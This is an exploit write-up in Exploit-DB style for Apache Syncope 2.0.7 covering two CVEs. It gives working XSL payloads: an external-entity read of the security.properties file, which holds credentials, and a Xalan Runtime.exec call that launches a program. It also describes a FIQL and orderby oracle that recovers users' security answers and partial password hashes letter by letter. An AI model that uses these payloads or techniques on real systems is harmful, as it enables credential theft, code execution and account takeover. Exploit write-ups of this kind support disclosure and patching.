Apache Syncope 2.0.7 – Remote Code Execution
# Exploit Title: Apache Syncope 2.0.7 - Remote Code Execution # Date: 2018-09-12 # Exploit Author: Che-Chun Kuo # Vendor Homepage: https://syncope.apache.org/ # Software Link: http://archive.apache.org/dist/syncope/ # Version: 2.0.7 # Tested on: Windows # Advisory: https://syncope.apache.org/security # CVE: CVE-2018-1321, CVE-2018-1322 # Vulnerability 1: Remote code execution by users with report and template privileges # Description: A user with access to the Reports and Templates functionality can use XSL Transformations (XSLT) # to perform malicious operations, including but not limited to file read, file write, and code execution. # Apache Syncope uses XSLT to export report data into various formats. An attacker can perform malicious # operations by crafting a XSL template, binding the template to a report, executing, then exporting the report. # The following XSL can be used to read the Syncope security.properties file or execute the Windows # calc program, respectively. READ security.properties file ------------------------------------------- <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE xsl:stylesheet [<!ENTITY file SYSTEM "..\webapps\syncope\WEB-INF\classes\security.properties">]> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/">&file;</xsl:template> </xsl:stylesheet> EXECUTE Windows calc program ------------------------------------------- <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:runtime="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:process="http://xml.apache.org/xalan/java/java.lang.Process"> <xsl:variable name="rtobject" select="runtime:getRuntime()"/> <xsl:variable name="process" select="runtime:exec($rtobject,'calc')"/> <xsl:variable name="waiting" select="process:waitFor($process)"/> <xsl:value-of select="$process"/> </xsl:stylesheet> # Vulnerability 2: Information disclosure via FIQL and ORDER BY sorting # Description: A user with entitlements to the /syncope/rest/users endpoint can recover sensitive # security values using the fiql and orderby parameters. # By default, Apache Syncope prevents sensitive values from being returned when querying # the /syncope/rest/users endpoint. Fields such as securityAnswers or password will always return null. # However the results returned can be filtered or sorted based on sensitive fields. By measuring how # the results are returned the values of the desired fields can be successfully recovered. The fiql parameter # can be used to recover full security answers, and the orderby parameter can be used to recover # full security answers and partial information about password hashes. # The fiql parameter allows filtering based on user attributes, including a user's security answer. # By using FIQL filters (i.e. "securityAnswer==a*", "securityAnswer==b*", etc...) a user's # securityAnswer can be recovered one letter at a time. # The orderby parameter allows sorting based on user attributes, including a user's security # answer and password. The following example shows how orderby sorting can be exploited. # User Bob exists with the security answer "test". A malicious user creates a user Alice with the # security answer "ta". The malicious actor then calls the /syncope/rest/users endpoint with orderby=securityAnswer". # By sorting using the "securityAnswer" attribute, the result will have Alice sorted ahead of Bob, # due to the value "ta" being before the value "test". By sequentially changing Alice's security # question and comparing the sorted result, Bob's security answer can be recovered one letter # at a time. A similar technique can be used to reveal partial information about user password hashes. Orderby Example Results: Alice's security answer, Order of results returned ta, [Alice, Bob] tb, [Alice, Bob] tc, [Alice, Bob] td, [Alice, Bob] te, [Alice, Bob] tf, [Bob, Alice] tea, [Alice, Bob] teb, [Alice, Bob] |